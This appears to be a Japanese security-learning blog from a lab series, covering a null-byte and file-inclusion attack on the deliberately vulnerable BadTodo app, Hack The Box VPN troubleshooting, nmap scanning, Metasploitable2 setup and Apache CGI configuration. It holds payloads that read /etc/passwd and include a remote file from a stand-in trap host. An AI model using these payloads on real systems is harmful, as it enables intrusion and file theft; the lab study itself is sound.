やられアプリ BadTodo - 25.1 NULLバイト攻撃(+ファイルインクルード)

前回:やられアプリ BadTodo - 24 適切でないアップロートファイル制限 - demandosigno

Todoリストを「完了」にしたり「削除」や「エクスポート」する際に走るリクエストhttps://todo.example.jp/editlist.phpにはprocessというパラメータがありますが、これにファイルインクルードの脆弱性があります。

ここでは「完了」ボタンで試します。BurpSuiteのインターセプトをONにしてから「完了」をクリックし、POSTパラメータをprocess=../../../../../etc/passwdと書き換え送信します。参考 : BadTodo - 7 リモート・ファイルインクルード(RFI)


この結果は"require(../../../../../etc/passwd.php): failed to open stream"というエラーになりました。ファイル名がpasswd.phpとなっています。どうやら入力値の後ろに.phpを付加する仕様のようです。この拡張子がなければいけるかもしれません。

そこで次はprocess=../../../../../etc/passwd%00のように%00を追記して送信します。

/etc/passwd が表示されました。

エラーメッセージが表示された際に require() と記述がある通り、ここでは require 関数が使われています。require() は include() とほぼ同じで指定されたパスからファイルを読み込みます。
PHPの allow_url_include 設定が有効化(On)されている場合、ローカルなパス名の代わりにURLを用いて読み込むファイルを指定することが可能です。
PHP: require - Manual
PHP: include - Manual

そして require() はバイナリセーフではない関数です。PHPはC言語から直接輸入された関数も多いのですが、C言語には「\0」「\x00」「%00」を文字列の終端とみなす取り決めがあります。「%00」は値ゼロのバイトすなわちヌルバイトです。バイナリセーフではない関数はヌルバイトを終端として取り扱います。このためPHPスクリプト側で付加している「.php」という拡張子が無効になり/etc/passwdが表示されます。

PHPでバイナリセーフではない関数をまとめた。 - Security Record

逆にバイナリセーフの関数はこういった制御文字をきちんと処理するため「\0」「\x00」「%00」などが挿入されていても終端として取り扱いません。

NULLバイト攻撃は単独で攻撃が成立する例はまれで、通常は他の脆弱性の対策をかいくぐるために悪用されます。

リモートファイルインクルード

上でも書きましたが allow_url_include 設定がONのためリモートのファイルインクルードも同様に可能です。

process=http://trap.example.org/dump.php%00で送信。

参考情報

次回:やられアプリ BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション) - demandosigno

Hack The Box OpenVPN 接続エラー

Hack The Box にチャレンジしていこうと思ったが、初っ端のOpenVPNで接続する時点でもうつまずいた。

Hack The Box のウェブページ上でVPNの接続先を選択し .ovpn 接続設定ファイルをダウンロード後。Kali Linux の端末で下記コマンドを打ちこむとエラー。

$ sudo openvpn starting_point_demandosigno.ovpn 
2023-11-22 19:55:29 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2023-11-22 19:55:29 Note: --data-cipher-fallback with cipher 'AES-128-CBC' disables data channel offload.
2023-11-22 19:55:29 OpenVPN 2.6.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
~(中略)~
2023-11-22 19:55:30 net_iface_up: set tun0 up
2023-11-22 19:55:30 net_addr_v6_add: dead:beef:2::1087/64 dev tun0
2023-11-22 19:55:30 sitnl_send: rtnl: generic error (-13): Permission denied
2023-11-22 19:55:30 Linux can't add IPv6 to interface tun0
2023-11-22 19:55:30 Exiting due to fatal error

"Linux can't add IPv6 to interface tun0"とのことなのでIPv6関連かなと思う。

IntroductionConnection TroubleshootingにQ&Aがありました。

説明
ラボへの接続には IPv6 が必要です。お使いの Linux OS で IPv6 が現在オフになっているため、このエラーが表示されます。
解決方法
cat /proc/sys/net/ipv6/conf/all/disable_ipv6 に 0 と表示されている場合は、IPv6が有効になっていることを意味します。1が表示されている場合は sysctl net.ipv6.conf.all.disable_ipv6=0 コマンドを押して有効にすることができます。

修正

$ cat /proc/sys/net/ipv6/conf/all/disable_ipv6
1
 
$ sysctl net.ipv6.conf.all.disable_ipv6=0
sysctl: permission denied on key "net.ipv6.conf.all.disable_ipv6"
 
$ sudo sysctl net.ipv6.conf.all.disable_ipv6=0
net.ipv6.conf.all.disable_ipv6 = 0
 
$ cat /proc/sys/net/ipv6/conf/all/disable_ipv6
0

再度 OpenVPN

$ sudo openvpn starting_point_demandosigno.ovpn
2023-11-22 19:55:07 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2023-11-22 19:55:07 Note: --data-cipher-fallback with cipher 'AES-128-CBC' disables data channel offload.
2023-11-22 19:55:07 OpenVPN 2.6.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
~(中略)~
2023-11-22 19:55:08 net_iface_up: set tun0 up
2023-11-22 19:55:08 net_addr_v6_add: dead:beef:2::1087/64 dev tun0
2023-11-22 19:55:08 net_route_v4_add: 10.10.10.0/23 via 10.10.14.1 dev [NULL] table 0 metric -1
2023-11-22 19:55:08 net_route_v4_add: 10.129.0.0/16 via 10.10.14.1 dev [NULL] table 0 metric -1
2023-11-22 19:55:08 add_route_ipv6(dead:beef::/64 -> dead:beef:2::1 metric -1) dev tun0
2023-11-22 19:55:08 net_route_v6_add: dead:beef::/64 via :: dev tun0 table 0 metric -1
2023-11-22 19:55:08 Initialization Sequence Completed
2023-11-22 19:55:08 Data Channel: cipher 'AES-256-CBC', auth 'SHA256', peer-id: 73, compression: 'lzo'
2023-11-22 19:55:08 Timers: ping 10, ping-restart 120

Once the Initialization Sequence Completed message appears, you can open a new terminal tab or window and start playing.
Please note that you must keep this terminal window open to keep the OpenVPN process running. https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access

とのことですので、接続できました。
ブラウザ上でも"ONLINE"になっています。

トンネルインターフェース(tun0)ができています。

$ ip a
~(前略)~
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500                                               
    link/none                                                                  
    inet 10.10.14.137/23 scope global tun0                                     
       valid_lft forever preferred_lft forever                                 
    inet6 dead:beef:2::1087/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::a60c:42ff:fc04:f9a1/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
~(後略)~

Hack The Boxを楽しむためのKali Linuxチューニング #Security - Qiita

Nmap - Ping Sweep(アドレススキャン)

Nmap リファレンスガイド (Man Page)
Nampスキャンの全コマンド・オプションを日本語解説|ネットワークのセキュリティーはNmapで抑えよう – Self branding

pingコマンドで稼働中のサーバIPを探す

nmap -sn -PE ターゲットのIP範囲
-sn : PINGスキャン -PE : Echo_Requestを送信

範囲指定
サブネットマスクで指定
192.168.0.0.24
実数で指定
192.168.0.0-255
ワイルドカードで指定
192.168.0.*

$ sudo nmap -sn -PE 172.19.0.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-06 21:09 JST
Nmap scan report for 172.19.0.1
Host is up (0.000052s latency).
MAC Address: 02:42:5B:9C:38:CE (Unknown)
Nmap scan report for badtodo-apache.kali_badtodo (172.19.0.2)
Host is up (0.000033s latency).
MAC Address: 02:42:AC:13:00:02 (Unknown)
Nmap scan report for d617763b20cd (172.19.0.3)
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.22 seconds

TraceRoute
Windows

C:\Users\hoge>tracert -d 192.168.56.120
192.168.56.120 へのルートをトレースしています。経由するホップ数は最大 30 です
  1    <1 ms    <1 ms    <1 ms  192.168.56.120

トレースを完了しました。

Linux

$ traceroute -n 192.168.56.120
traceroute to 192.168.56.120 (192.168.56.120), 30 hops max, 60 byte packets
 1  * * *
 2  * * *
 3  * * *
~(中略)~
28  * * *
29  * * *
30  * * *
  • WindowsのtracertはデフォルトでICMPプロトコルを使用するが、LinuxなどではデフォルトでUDPを使用する。
  • ICMP (Internet Control Message Protocol) は、データパケットのエラー情報やステータスを共有する。これはネットワーク エラーの検出やトラブル シューティングに役立つ。ICMPは転送中にドロップまたは消失したパケットやネットワーク接続の問題、および他のルーターにリダイレクトされたパケットに関する情報を報告する。
  • PingはICMPのタイプコード8の「エコー要求」である。

-I:Use ICMP ECHO(UDPで通らない場合はこちらを試してみる)

$ sudo traceroute -n -I 192.168.56.120
traceroute to 192.168.56.120 (192.168.56.120), 30 hops max, 60 byte packets
 1  192.168.56.120  1.068 ms  0.895 ms  0.811 ms

Metasploitable 2 をDocker Desktopにインストールする

Metasploitによるペネトレーションの練習やテストに使用するための、わざと脆弱性を持たせた「やられサーバ」の仮想マシン。debian → Ubuntu の系譜。

DockerDesktopの検索バーでイメージを検索してダウンロード

PS C:\> docker run --network=kali_badtodo -h metasp2 -it --name metasploitable2 tleemcjr/metasploitable2

起動後。キーマップを日本語に変更

$ sudo loadkeys jp

バージョン、IPを確認

$ cat /proc/version 
Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023

$ cat /etc/debian_version 
lenny/sid

$ ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:13:00:02  
          inet addr:172.19.0.2  Bcast:172.19.255.255  Mask:255.255.0.0

Kaliからmetasploitable2へPing

$ ping -c 3 172.19.0.2                                                          
PING 172.19.0.2 (172.19.0.2) 56(84) bytes of data.
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 172.19.0.2: icmp_seq=2 ttl=64 time=0.163 ms
64 bytes from 172.19.0.2: icmp_seq=3 ttl=64 time=0.062 ms
 
--- 172.19.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2047ms
rtt min/avg/max/mdev = 0.062/0.097/0.163/0.046 ms

Kaliからmetasploitable2へNmap

$ nmap 172.19.0.2
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 15:22 JST
Nmap scan report for metasploitable2.kali_badtodo (172.19.0.2)
Host is up (0.00022s latency).
Not shown: 981 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

こちらも参考に:Metasploit - demandosigno

Apache2 で CGI を許可する

Metasploitable2-LinuxでCGIを動かそうとしたらソースコードが表示されるのみで動かなかった。

#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"


『一行のメッセージを出力するだけの CGIスクリプトを設置します。いっけん、なんの入力もクライアント側から受け付けていないため危険のありようもなく見えます。』
BASHの脆弱性でCGIスクリプトにアレさせてみました | ワルブリックス株式会社

CGI を許可するように Apache を設定する

# apache2 -v
Server version: Apache/2.2.8 (Ubuntu)
Server built:   Mar  9 2010 20:45:36

『Apache が共有モジュール機能付きでビルドされている場合、 モジュールがロードされていることを確認してください。』
LoadModule cgi_module modules/mod_cgi.so
(以降『』書きは Apache Tutorial: Dynamic Content with CGI - Apache HTTP Server Version 2.4 より引用)

# vi /etc/apache2/apache2.conf
~(中略)~
# Include module configuration:
Include /etc/apache2/mods-enabled/*.load
Include /etc/apache2/mods-enabled/*.conf

上記ディレクトリでモジュールを読み込んでいる。

/etc/apache2/mods-enabled# ls -l
lrwxrwxrwx 1 root root 26 May 14  2012 cgi.load -> ../mods-available/cgi.load

mods-enabled内のファイルはmods-availableへのシンボリックリンクとなっています。(リンクが無い場合は後述を参考にリンクを作ってください)

/etc/apache2/mods-available# ls -l
-rw-r--r-- 1 root root   58 Feb  1  2008 cgi.load

/etc/apache2/mods-available# cat cgi.load 
LoadModule cgi_module /usr/lib/apache2/modules/mod_cgi.so

問題なく設定されていた。

CGI の実行を可能にするために Options を明示的に使用する

『サーバのメインの設定ファイル中で Options ディレクティブを明示的に使用することで、特定のディレクトリ配下で CGI の実行を許可するように指定することができます』
Options +ExecCGI

/etc/apache2# vi sites-available/default

<Directory /var/www/>
        Options Indexes FollowSymLinks MultiViews
            ↓ +ExecCGI を追記
        Options Indexes FollowSymLinks MultiViews +ExecCGI
        AllowOverride None
        Order allow,deny
        allow from all
</Directory>

『上記ディレクティブは、CGI ファイルの実行を可能にするよう Apache に伝えます。また、どのファイルが CGI ファイルかを サーバに伝える必要があります。次の AddHandler ディレクティブの例では、cgi または pl を拡張子に持つすべてのファイルを CGI プログラムとしてみなすことをサーバに伝えます』
AddHandler cgi-script .cgi .pl

/etc/apache2/mods-available# vi mime.conf
~(中略)~
#AddHandler cgi-script .cgi
 ↓ コメントを外す
AddHandler cgi-script .cgi

設定ファイルの再読み込み

# service apache2 reload

動いた。

補足

mods-enabled: 有効になっているモジュールの設定を格納
mods-available: 有効または有効にできるモジュールの設定を格納
a2enmod a2dismodコマンドで有効・無効を切り替えシンボリックリンクが張られる。

/etc/apache2/mods-enabled# ls -l
lrwxrwxrwx 1 root root 26 May 14  2012 cgi.load -> ../mods-available/cgi.load

/etc/apache2# a2dismod cgi
Module cgi disabled; run /etc/init.d/apache2 force-reload to fully disable.

/etc/apache2/mods-enabled# ls -l
cgi.loadのシンボリックリンクが消える

# service apache2 force-reload
 * Reloading web server config apache2

再度有効にする
/etc/apache2# a2enmod cgi
Module cgi installed; run /etc/init.d/apache2 force-reload to enable.

/etc/apache2# ls -l mods-enabled/
lrwxrwxrwx 1 root root 26 Oct 29 11:14 cgi.load -> ../mods-available/cgi.load
シンボリックリンクが追加された

# service apache2 force-reload
 * Reloading web server config apache2
/* -----codeの行番号----- */